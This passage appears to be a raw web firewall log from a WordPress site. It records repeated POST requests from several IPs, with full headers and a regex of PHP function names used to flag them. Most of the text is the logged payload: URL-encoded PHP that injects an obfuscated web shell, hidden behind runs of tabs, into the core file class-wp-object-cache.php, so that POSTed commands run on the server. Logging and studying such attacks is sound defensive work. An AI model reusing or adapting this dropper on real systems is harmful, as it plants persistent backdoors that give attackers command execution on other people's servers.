20.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524k1%2520.%2520%2524k4%2520.%2520%25275%2527%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%25275%2527%2520.%2520%2524k7%2520.%2520%2524k4%2520.%2520%2524k2%2520.%2520%25276%2527%2520.%2520%2524k7%2520.%2520%25276%2527%2520.%2520%2524k12%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%2524k4%2520.%2520%25275%2527%2520.%2520%2524k4%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524dependency_resolver7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524k4%2520.%2520%25273%2527%2520.%2520%2524k4%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524k7%2520.%2520%2524k1%2520.%2520%2524k2%2520.%2520%2524k4%2520.%2520%25275%2527%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k4%2520.%2520%25273%2527%2520.%2520%2524k4%2520.%2520%2524k7%2520.%2520%2524k4%2520.%2520%2524k12%2520.%2520%2524k4%2520.%2520%2524k4%2520.%2520%25276%2527%2520.%2520%2524k13%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524k3%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524k5%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524k4%2520.%2520%2524k12%2520.%2520%25276%2527%2520.%2520%2524k9%2520.%2520%25276%2527%2520.%2520%2524k1%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524k1%2520.%2520%2524k14%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524dependency_resolver1%2529%2529%257B%2524dependency_resolver1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver2%2529%2529%257Bprint%2520%2524dependency_resolver2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver3%2529%2529%257B%2524dependency_resolver3%2528%2524config_manager%252C%2524record_pgrp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524record_pgrp%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver4%2529%2529%257B%2524dependency_resolver4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver5%2529%2526%2526function_exists%2528%2524dependency_resolver6%2529%2526%2526function_exists%2528%2524dependency_resolver7%2529%2529%257B%2524flag_tkn%253D%2524dependency_resolver5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524flag_tkn%2529%257B%2524factor_hld%253D%2524dependency_resolver6%2528%2524flag_tkn%2529%253B%2524dependency_resolver7%2528%2524flag_tkn%2529%253Bprint%2520%2524factor_hld%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:51:58","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> uE:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-object-cache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25273%2527%253B%2524ent2%2520%253D%2520%25277%2527%253B%2524ent3%2520%253D%2520%25276%2527%253B%2524ent4%2520%253D%2520%2527d%2527%253B%2524ent5%2520%253D%2520%25278%2527%253B%2524ent6%2520%253D%2520%25275%2527%253B%2524ent7%2520%253D%2520%2527c%2527%253B%2524ent8%2520%253D%2520%2527f%2527%253B%2524ent9%2520%253D%2520%25270%2527%253B%2524ent10%2520%253D%2520%25274%2527%253B%2524ent11%2520%253D%2520%2527e%2527%253B%2524ent12%2520%253D%2520%25272%2527%253B%2524ent13%2520%253D%2520%25271%2527%253B%2524ent14%2520%253D%2520%25279%2527%253B%2524hub_center1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524ent1.%2524ent2.%25279%2527.%25277%2527.%25273%2527.%2524ent2.%25274%2527.%2524ent3.%25275%2527.%25276%2527.%2524ent4%2529%253B%2524hub_center2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%2524ent1.%2524ent3.%2524ent5.%2524ent3.%2524ent6.%25276%2527.%2524ent7.%25276%2527.%2527c%2527.%25275%2527.%2524ent8.%2524ent3.%25275%2527.%25277%2527.%2524ent5.%25276%2527.%2524ent6.%2524ent3.%25273%2527%2529%253B%2524hub_center3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524ent6.%2524ent2.%25278%2527.%25276%2527.%2524ent6.%25276%2527.%25273%2527%2529%253B%2524hub_center4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524ent9.%25276%2527.%25271%2527.%2524ent2.%25273%2527.%2524ent2.%2524ent1.%25277%2527.%2524ent10.%25276%2527.%25278%2527.%2524ent2.%25272%2527.%2524ent2.%25275%2527%2529%253B%2524hub_center5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524ent3.%2524ent8.%25277%2527.%2524ent9.%25276%2527.%2524ent6.%25276%2527.%2524ent11%2529%253B%2524hub_center6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%25273%2527.%25277%2527.%2524ent10.%2524ent2.%2524ent12.%25276%2527.%2524ent6.%2524ent3.%25271%2527.%25276%2527.%2527d%2527.%25275%2527.%2527f%2527.%2524ent3.%25277%2527.%2524ent3.%25275%2527.%2524ent2.%25274%2527.%25275%2527.%2524ent8.%25276%2527.%2524ent1.%25276%2527.%2524ent8.%2524ent3.%2527e%2527.%2524ent2.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524ent11.%25277%2527.%25274%2527.%25277%2527.%2524ent1%2529%253B%2524hub_center7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%2524ent9.%2524ent3.%2524ent1.%2524ent3.%2524ent7.%25276%2527.%2527f%2527.%2524ent2.%25273%2527.%2524ent3.%2524ent6%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524ent13.%25277%2527.%25270%2527.%2524ent2.%25270%2527.%2524ent6.%2524ent8.%2524ent3.%25279%2527.%25276%2527.%2527e%2527.%25276%2527.%2524ent14.%2524ent2.%2524ent10.%2524ent3.%25279%2527.%2524ent3.%2524ent13.%2524ent3.%2527c%2527.%2524ent3.%25279%2527.%2524ent2.%2527a%2527.%25276%2527.%2524ent6.%2524ent2.%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524hub_center1%2529%2529%257B%2524hub_center1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center2%2529%2529%257Bprint%2520%2524hub_center2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center3%2529%2529%257B%2524hub_center3%2528%2524app_initializer%252C%2524hld_value%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524hld_value%2529%253B%257Delseif%2528function_exists%2528%2524hub_center4%2529%2529%257B%2524hub_center4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center5%2529%2526%2526function_exists%2528%2524hub_center6%2529%2526%2526function_exists%2528%2524hub_center7%2529%2529%257B%2524ent_property_set%253D%2524hub_center5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524ent_property_set%2529%257B%2524flg_fac%253D%2524hub_center6%2528%2524ent_property_set%2529%253B%2524hub_center7%2528%2524ent_property_set%2529%253Bprint%2520%2524flg_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:7043\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"macOS\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqHHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\nuE=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-object-cache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25273%2527%253B%2524ent2%2520%253D%2520%25277%2527%253B%2524ent3%2520%253D%2520%25276%2527%253B%2524ent4%2520%253D%2520%2527d%2527%253B%2524ent5%2520%253D%2520%25278%2527%253B%2524ent6%2520%253D%2520%25275%2527%253B%2524ent7%2520%253D%2520%2527c%2527%253B%2524ent8%2520%253D%2520%2527f%2527%253B%2524ent9%2520%253D%2520%25270%2527%253B%2524ent10%2520%253D%2520%25274%2527%253B%2524ent11%2520%253D%2520%2527e%2527%253B%2524ent12%2520%253D%2520%25272%2527%253B%2524ent13%2520%253D%2520%25271%2527%253B%2524ent14%2520%253D%2520%25279%2527%253B%2524hub_center1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524ent1.%2524ent2.%25279%2527.%25277%2527.%25273%2527.%2524ent2.%25274%2527.%2524ent3.%25275%2527.%25276%2527.%2524ent4%2529%253B%2524hub_center2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%2524ent1.%2524ent3.%2524ent5.%2524ent3.%2524ent6.%25276%2527.%2524ent7.%25276%2527.%2527c%2527.%25275%2527.%2524ent8.%2524ent3.%25275%2527.%25277%2527.%2524ent5.%25276%2527.%2524ent6.%2524ent3.%25273%2527%2529%253B%2524hub_center3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524ent6.%2524ent2.%25278%2527.%25276%2527.%2524ent6.%25276%2527.%25273%2527%2529%253B%2524hub_center4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524ent9.%25276%2527.%25271%2527.%2524ent2.%25273%2527.%2524ent2.%2524ent1.%25277%2527.%2524ent10.%25276%2527.%25278%2527.%2524ent2.%25272%2527.%2524ent2.%25275%2527%2529%253B%2524hub_center5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524ent3.%2524ent8.%25277%2527.%2524ent9.%25276%2527.%2524ent6.%25276%2527.%2524ent11%2529%253B%2524hub_center6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%25273%2527.%25277%2527.%2524ent10.%2524ent2.%2524ent12.%25276%2527.%2524ent6.%2524ent3.%25271%2527.%25276%2527.%2527d%2527.%25275%2527.%2527f%2527.%2524ent3.%25277%2527.%2524ent3.%25275%2527.%2524ent2.%25274%2527.%25275%2527.%2524ent8.%25276%2527.%2524ent1.%25276%2527.%2524ent8.%2524ent3.%2527e%2527.%2524ent2.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524ent11.%25277%2527.%25274%2527.%25277%2527.%2524ent1%2529%253B%2524hub_center7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%2524ent9.%2524ent3.%2524ent1.%2524ent3.%2524ent7.%25276%2527.%2527f%2527.%2524ent2.%25273%2527.%2524ent3.%2524ent6%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524ent13.%25277%2527.%25270%2527.%2524ent2.%25270%2527.%2524ent6.%2524ent8.%2524ent3.%25279%2527.%25276%2527.%2527e%2527.%25276%2527.%2524ent14.%2524ent2.%2524ent10.%2524ent3.%25279%2527.%2524ent3.%2524ent13.%2524ent3.%2527c%2527.%2524ent3.%25279%2527.%2524ent2.%2527a%2527.%25276%2527.%2524ent6.%2524ent2.%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524hub_center1%2529%2529%257B%2524hub_center1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center2%2529%2529%257Bprint%2520%2524hub_center2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center3%2529%2529%257B%2524hub_center3%2528%2524app_initializer%252C%2524hld_value%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524hld_value%2529%253B%257Delseif%2528function_exists%2528%2524hub_center4%2529%2529%257B%2524hub_center4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center5%2529%2526%2526function_exists%2528%2524hub_center6%2529%2526%2526function_exists%2528%2524hub_center7%2529%2529%257B%2524ent_property_set%253D%2524hub_center5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524ent_property_set%2529%257B%2524flg_fac%253D%2524hub_center6%2528%2524ent_property_set%2529%253B%2524hub_center7%2528%2524ent_property_set%2529%253Bprint%2520%2524flg_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:52:01","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> pE:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-object-cache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25273%2527%253B%2524ent2%2520%253D%2520%25277%2527%253B%2524ent3%2520%253D%2520%25276%2527%253B%2524ent4%2520%253D%2520%2527d%2527%253B%2524ent5%2520%253D%2520%25278%2527%253B%2524ent6%2520%253D%2520%25275%2527%253B%2524ent7%2520%253D%2520%2527c%2527%253B%2524ent8%2520%253D%2520%2527f%2527%253B%2524ent9%2520%253D%2520%25270%2527%253B%2524ent10%2520%253D%2520%25274%2527%253B%2524ent11%2520%253D%2520%2527e%2527%253B%2524ent12%2520%253D%2520%25272%2527%253B%2524ent13%2520%253D%2520%25271%2527%253B%2524ent14%2520%253D%2520%25279%2527%253B%2524hub_center1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524ent1.%2524ent2.%25279%2527.%25277%2527.%25273%2527.%2524ent2.%25274%2527.%2524ent3.%25275%2527.%25276%2527.%2524ent4%2529%253B%2524hub_center2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%2524ent1.%2524ent3.%2524ent5.%2524ent3.%2524ent6.%25276%2527.%2524ent7.%25276%2527.%2527c%2527.%25275%2527.%2524ent8.%2524ent3.%25275%2527.%25277%2527.%2524ent5.%25276%2527.%2524ent6.%2524ent3.%25273%2527%2529%253B%2524hub_center3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524ent6.%2524ent2.%25278%2527.%25276%2527.%2524ent6.%25276%2527.%25273%2527%2529%253B%2524hub_center4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524ent9.%25276%2527.%25271%2527.%2524ent2.%25273%2527.%2524ent2.%2524ent1.%25277%2527.%2524ent10.%25276%2527.%25278%2527.%2524ent2.%25272%2527.%2524ent2.%25275%2527%2529%253B%2524hub_center5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524ent3.%2524ent8.%25277%2527.%2524ent9.%25276%2527.%2524ent6.%25276%2527.%2524ent11%2529%253B%2524hub_center6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%25273%2527.%25277%2527.%2524ent10.%2524ent2.%2524ent12.%25276%2527.%2524ent6.%2524ent3.%25271%2527.%25276%2527.%2527d%2527.%25275%2527.%2527f%2527.%2524ent3.%25277%2527.%2524ent3.%25275%2527.%2524ent2.%25274%2527.%25275%2527.%2524ent8.%25276%2527.%2524ent1.%25276%2527.%2524ent8.%2524ent3.%2527e%2527.%2524ent2.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524ent11.%25277%2527.%25274%2527.%25277%2527.%2524ent1%2529%253B%2524hub_center7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%2524ent9.%2524ent3.%2524ent1.%2524ent3.%2524ent7.%25276%2527.%2527f%2527.%2524ent2.%25273%2527.%2524ent3.%2524ent6%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524ent13.%25277%2527.%25270%2527.%2524ent2.%25270%2527.%2524ent6.%2524ent8.%2524ent3.%25279%2527.%25276%2527.%2527e%2527.%25276%2527.%2524ent14.%2524ent2.%2524ent10.%2524ent3.%25279%2527.%2524ent3.%2524ent13.%2524ent3.%2527c%2527.%2524ent3.%25279%2527.%2524ent2.%2527a%2527.%25276%2527.%2524ent6.%2524ent2.%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524hub_center1%2529%2529%257B%2524hub_center1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center2%2529%2529%257Bprint%2520%2524hub_center2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center3%2529%2529%257B%2524hub_center3%2528%2524app_initializer%252C%2524hld_value%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524hld_value%2529%253B%257Delseif%2528function_exists%2528%2524hub_center4%2529%2529%257B%2524hub_center4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center5%2529%2526%2526function_exists%2528%2524hub_center6%2529%2526%2526function_exists%2528%2524hub_center7%2529%2529%257B%2524ent_property_set%253D%2524hub_center5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524ent_property_set%2529%257B%2524flg_fac%253D%2524hub_center6%2528%2524ent_property_set%2529%253B%2524hub_center7%2528%2524ent_property_set%2529%253Bprint%2520%2524flg_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:7043\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpRHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\n\npE=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-object-cache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25273%2527%253B%2524ent2%2520%253D%2520%25277%2527%253B%2524ent3%2520%253D%2520%25276%2527%253B%2524ent4%2520%253D%2520%2527d%2527%253B%2524ent5%2520%253D%2520%25278%2527%253B%2524ent6%2520%253D%2520%25275%2527%253B%2524ent7%2520%253D%2520%2527c%2527%253B%2524ent8%2520%253D%2520%2527f%2527%253B%2524ent9%2520%253D%2520%25270%2527%253B%2524ent10%2520%253D%2520%25274%2527%253B%2524ent11%2520%253D%2520%2527e%2527%253B%2524ent12%2520%253D%2520%25272%2527%253B%2524ent13%2520%253D%2520%25271%2527%253B%2524ent14%2520%253D%2520%25279%2527%253B%2524hub_center1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524ent1.%2524ent2.%25279%2527.%25277%2527.%25273%2527.%2524ent2.%25274%2527.%2524ent3.%25275%2527.%25276%2527.%2524ent4%2529%253B%2524hub_center2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%2524ent1.%2524ent3.%2524ent5.%2524ent3.%2524ent6.%25276%2527.%2524ent7.%25276%2527.%2527c%2527.%25275%2527.%2524ent8.%2524ent3.%25275%2527.%25277%2527.%2524ent5.%25276%2527.%2524ent6.%2524ent3.%25273%2527%2529%253B%2524hub_center3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524ent6.%2524ent2.%25278%2527.%25276%2527.%2524ent6.%25276%2527.%25273%2527%2529%253B%2524hub_center4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524ent9.%25276%2527.%25271%2527.%2524ent2.%25273%2527.%2524ent2.%2524ent1.%25277%2527.%2524ent10.%25276%2527.%25278%2527.%2524ent2.%25272%2527.%2524ent2.%25275%2527%2529%253B%2524hub_center5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524ent3.%2524ent8.%25277%2527.%2524ent9.%25276%2527.%2524ent6.%25276%2527.%2524ent11%2